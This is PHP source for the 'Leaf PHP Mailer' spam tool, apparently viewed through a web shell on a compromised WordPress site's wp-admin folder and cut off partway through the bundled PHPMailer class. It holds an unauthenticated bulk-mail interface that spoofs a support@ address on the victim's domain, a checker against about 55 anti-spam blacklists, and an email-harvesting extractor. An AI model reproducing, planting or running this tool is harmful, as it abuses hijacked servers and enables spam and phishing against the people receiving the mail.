|
Server : LiteSpeed System : Linux srv475744146.host.ultaserver.net 5.15.0-138-generic #148-Ubuntu SMP Fri Mar 14 19:05:48 UTC 2025 x86_64 User : indog6927 ( 1163) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/cas138slot.com/public_html/wp-admin/ |
Upload File : |
<?php
/**
* Leaf PHP Mailer by [orvx.pw]
* @version : 2.8
**/
$orvx_password=""; // leave it empty don't put password orvx system will generate a password automatically
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$leaf['version']="2";
$leaf['website']="orvx.pw";
$sessioncode = md5($_SERVER['SCRIPT_FILENAME']);
if(!empty($orvx_password) and $_SESSION[$sessioncode] != $orvx_password){
if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $orvx_password) {
$_SESSION[$sessioncode] = $orvx_password;
}
else {
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
exit;
}
}
session_write_close();
function leafClear($text,$email){
$e = explode('@', $email);
$emailuser=$e[0];
$emaildomain=$e[1];
$text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
$text = str_replace("[-email-]", $email, $text);
$text = str_replace("[-emailuser-]", $emailuser, $text);
$text = str_replace("[-emaildomain-]", $emaildomain, $text);
$text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
$text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
$text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
$text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
return $text;
}
function leafTrim($string){
$string=urldecode($string);
return stripslashes(trim($string));
}
function generateRandomString($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function randString($consonants) {
$length=rand(12,25);
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $consonants[(rand() % strlen($consonants))];
}
return $password;
}
function leafMailCheck($email){
if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
else return false;
}
# Bulit-in BlackList Checker
if(isset($_GET['check_ip'])){
if (isset($_GET['host'])){
$_GET['host']=explode(",", $_GET['host']);
foreach ($_GET['host'] as $host) {
if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) $check= "<font color='red'> Listed</font>";
else $check= "<font color='green'> Clean</font>";
print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
}
exit;
}
$dnsbl_lookup = [
"all.s5h.net",
"b.barracudacentral.org",
"bl.spamcop.net",
"blacklist.woody.ch",
"bogons.cymru.com",
"cbl.abuseat.org",
"cdl.anti-spam.org.cn",
"combined.abuse.ch",
"db.wpbl.info",
"dnsbl-1.uceprotect.net",
"dnsbl-2.uceprotect.net",
"dnsbl-3.uceprotect.net",
"dnsbl.anticaptcha.net",
"dnsbl.dronebl.org",
"dnsbl.inps.de",
"dnsbl.sorbs.net",
"drone.abuse.ch",
"duinv.aupads.org",
"dul.dnsbl.sorbs.net",
"dyna.spamrats.com",
"dynip.rothen.com",
"http.dnsbl.sorbs.net",
"ips.backscatterer.org",
"ix.dnsbl.manitu.net",
"korea.services.net",
"misc.dnsbl.sorbs.net",
"noptr.spamrats.com",
"orvedb.aupads.org",
"pbl.spamhaus.org",
"proxy.bl.gweep.ca",
"psbl.surriel.com",
"relays.bl.gweep.ca",
"relays.nether.net",
"sbl.spamhaus.org",
"short.rbl.jp",
"singular.ttk.pte.hu",
"smtp.dnsbl.sorbs.net",
"socks.dnsbl.sorbs.net",
"spam.abuse.ch",
"spam.dnsbl.anonmails.de",
"spam.dnsbl.sorbs.net",
"spam.spamrats.com",
"spambot.bls.digibase.ca",
"spamrbl.imp.ch",
"spamsources.fabel.dk",
"ubl.lashback.com",
"ubl.unsubscore.com",
"virus.rbl.jp",
"web.dnsbl.sorbs.net",
"wormrbl.imp.ch",
"xbl.spamhaus.org",
"z.mailspike.net",
"zen.spamhaus.org",
"zombie.dnsbl.sorbs.net",
];
$reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
$dnsT = count($dnsbl_lookup);
leafheader();
print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
$dnsN="";
print '<table >';
for ($i=0; $i < $dnsT; $i=$i+10) {
$host="";
$hosts="";
for($j=$i; $j<$i+10;$j++){
$host=$dnsbl_lookup[$j];
if(!empty($host)){
print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
$hosts .="$host,";
}
}
$dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
}
print '</table></div>';
print $dnsN;
exit;
}
if(isset($_GET['emailfilter'])){
if(!empty($_FILES['fileToUpload']['tmp_name'])){
$_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
}
$_POST['emailList']=strtolower($_POST['emailList']);
if($_GET['emailfilter']=="ifram"){
if ($_POST['resulttype'] == "download"){
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=emails".time().".txt");
}
else {
header("Content-Type: text/plain");
}
if($_POST['submit']=="extract"){
$pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
preg_match_all($pattern, $_POST['emailList'], $matches);
foreach ($matches[0] as $email) {
print $email."\n";
}
}
elseif ($_POST['submit']=="filter") {
$emails=explode("\n", $_POST['emailList']);
$keywords=explode("\n", strtolower($_POST['keywords']));
foreach ($emails as $email) {
foreach ($keywords as $keyword ) {
if(strstr($email, $keyword) ){
print $email."\n";
break;
}
}
}
}
exit;
}
leafheader();
print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
print '
<form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
<label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
or
<textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
<div class="col-lg-12">
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="here" checked="">
Show Result in this page
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="download">
Download Result (for big numbers)
</label>
</div>
</div>
<legend><h4>Extract Email</h4></legend>
Detecting every email (100%) and order them line by line <br><br>
<button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
<legend><h4>Filter Emails</h4></legend>
<label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>
<button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
</form>
<label >Result </label>
<iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
';
exit;
}
$html="checked";
$utf8="selected";
$bit8="selected";
if($_POST['action']=="send" or $_POST['action']=="score"){
$senderEmail=leafTrim($_POST['senderEmail']);
$senderName=leafTrim($_POST['senderName']);
$replyTo=leafTrim($_POST['replyTo']);
$subject=leafTrim($_POST['subject']);
$emailList=leafTrim($_POST['emailList']);
$messageType=leafTrim($_POST['messageType']);
$messageLetter=leafTrim($_POST['messageLetter']);
$encoding = $_POST['encode'];
$charset = $_POST['charset'];
$html="";
$utf8="";
$bit8="";
if($messageType==2) $plain="checked";
else $html="checked";
if($charset=="ISO-8859-1") $iso="selected";
else $utf8="selected";
if($encoding=="7bit") $bit7="selected";
elseif($encoding=="binary") $binary="selected";
elseif($encoding=="base64") $base64="selected";
elseif($encoding=="quoted-printable") $quotedprintable="selected";
else $bit8="selected";
}
if($_POST['action']=="view"){
$viewMessage=leafTrim($_POST['messageLetter']);
$viewMessage=leafClear($viewMessage,"user@domain.com");
if ($_POST['messageType']==2){
print "<pre>".htmlspecialchars($viewMessage)."</pre>";
}
else {
print $viewMessage;
}
exit;
}
if(!isset($_POST['senderEmail'])){
$senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
if (!leafMailCheck($senderEmail)) $senderEmail="";
}
class PHPMailer
{
/**
* The PHPMailer Version number.
* @var string
*/
public $Version = '5.2.28';
/**
* Email priority.
* Options: null (default), 1 = High, 3 = Normal, 5 = low.
* When null, the header is not set at all.
* @var integer
*/
public $Priority = null;
/**
* The character set of the message.
* @var string
*/
public $CharSet = 'iso-8859-1';
/**
* The MIME Content-type of the message.
* @var string
*/
public $ContentType = 'text/plain';
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
public $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
public $ErrorInfo = '';
/**
* The From email address for the message.
* @var string
*/
public $From = 'root@localhost';
/**
* The From name of the message.
* @var string
*/
public $FromName = 'Root User';
/**
* The Sender email (Return-Path) of the message.
* If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
public $Sender = '';
/**
* The Return-Path of the message.
* If empty, it will be set to either From or Sender.
* @var string
* @deprecated Email senders should never set a return-path header;
* it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
* @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
*/
public $ReturnPath = '';
/**
* The Subject of the message.
* @var string
*/
public $Subject = '';
/**
* An HTML or plain text message body.
* If HTML then call isHTML(true).
* @var string
*/
public $Body = '';
/**
* The plain-text message body.
* This body can be read by mail clients that do not have HTML email
* capability such as mutt & Eudora.
* Clients that can read HTML will view the normal Body.
* @var string
*/
public $AltBody = '';
/**
* An iCal message part body.
* Only supported in simple alt or alt_inline message types
* To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
* @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
* @link http://kigkonsult.se/iCalcreator/
* @var string
*/
public $Ical = '';
/**
* The complete compiled MIME message body.
* @access protected
* @var string
*/
protected $MIMEBody = '';
/**
* The complete compiled MIME message headers.
* @var string
* @access protected
*/
protected $MIMEHeader = '';
/**
* Extra headers that createHeader() doesn't fold in.
* @var string
* @access protected
*/
protected $mailHeader = '';
/**
* Word-wrap the message body to this number of chars.
* Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
* @var integer
*/
public $WordWrap = 0;
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
/**
* Whether mail() uses a fully sendmail-compatible MTA.
* One which supports sendmail's "-oi -f" options.
* @var boolean
*/
public $UseSendmailOptions = true;
/**
* Path to PHPMailer plugins.
* Useful if the SMTP class is not in the PHP include path.
* @var string
* @deprecated Should not be needed now there is an autoloader.
*/
public $PluginDir = '';
/**
* The email address that a reading confirmation should be sent to, also known as read receipt.
* @var string
*/
public $ConfirmReadingTo = '';
/**
* The hostname to use in the Message-ID header and as default HELO string.
* If empty, PHPMailer attempts to find one with, in order,
* $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
* 'localhost.localdomain'.
* @var string
*/
public $Hostname = '';
/**
* An ID to be used in the Message-ID header.
* If empty, a unique id will be generated.
* You can set your own, but it must be in the format "<id@domain>",
* as defined in RFC5322 section 3.6.4 or it will be ignored.
* @see https://tools.ietf.org/html/rfc5322#section-3.6.4
* @var string
*/
public $MessageID = '';
/**
* The message Date to be used in the Date header.
* If empty, the current date will be added.
* @var string
*/
public $MessageDate = '';
/**
* SMTP hosts.
* Either a single hostname or multiple semicolon-delimited hostnames.
* You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* You can also specify encryption type, for example:
* (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
* Hosts will be tried in order.
* @var string
*/
public $Host = 'localhost';
/**
* The default SMTP server port.
* @var integer
* @TODO Why is this needed when the SMTP class takes care of it?
*/
public $Port = 25;
/**
* The SMTP HELO of the message.
* Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
* one with the same method described above for $Hostname.
* @var string
* @see PHPMailer::$Hostname
*/
public $Helo = '';
/**
* What kind of encryption to use on the SMTP connection.
* Options: '', 'ssl' or 'tls'
* @var string
*/
public $SMTPSecure = '';
/**
* Wheth